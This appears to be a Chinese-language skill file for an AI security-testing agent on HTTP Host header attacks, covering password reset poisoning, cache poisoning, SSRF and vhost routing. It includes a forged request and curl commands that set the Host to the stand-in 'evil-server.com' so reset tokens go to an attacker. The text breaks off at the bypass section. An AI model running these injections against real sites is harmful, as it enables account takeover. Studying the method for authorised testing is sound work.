http-host-header-attacks

name	http-host-header-attacks
description	HTTP Host Header 攻击方法论。当目标存在密码重置、缓存机制、反向代理、虚拟主机、重定向功能时使用。覆盖密码重置投毒(Host注入窃取reset token)、Web缓存投毒(Host控制缓存键)、通过Host路由SSRF、虚拟主机枚举与跨站读取、绕过技术(X-Forwarded-Host/双Host/绝对URI/端口注入/换行符注入)。任何涉及密码重置、Host头处理、缓存、虚拟主机配置的测试都应使用此 skill
metadata	{"tags":"host header,password reset poisoning,cache poisoning,SSRF,vhost,virtual host,密码重置投毒,缓存投毒,X-Forwarded-Host","category":"exploit"}

HTTP Host Header 攻击方法论

---

1. 核心概念

HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站（虚拟主机路由）。很多应用在以下场景信任 Host header 的值：

• 生成密码重置链接
• 生成绝对 URL
• 缓存键计算
• 路由到内部后端
• 访问控制决策

如果应用不验证 Host header，攻击者可以操纵它来投毒链接、缓存或路由。

---

2. 密码重置投毒

原理

POST /forgot-password HTTP/1.1
Host: evil-server.com                    ← 攻击者替换
Content-Type: application/x-www-form-urlencoded

email=[e-mail]

应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为：

https://evil-server.com/reset?token=abc123

受害者点击链接 → token 发送到攻击者服务器。

检测

# 正常请求（记录原始链接格式）
curl -X POST https://target.com/forgot-password \
  -d "email=[e-mail]"

# Host 注入
curl -X POST https://target.com/forgot-password \
  -H "Host: evil-server.com" \
  -d "email=[e-mail]"

# 检查邮件中的链接是否包含 evil-server.com

绕过变体

如果直接替换 Host 被拒绝（400/403）：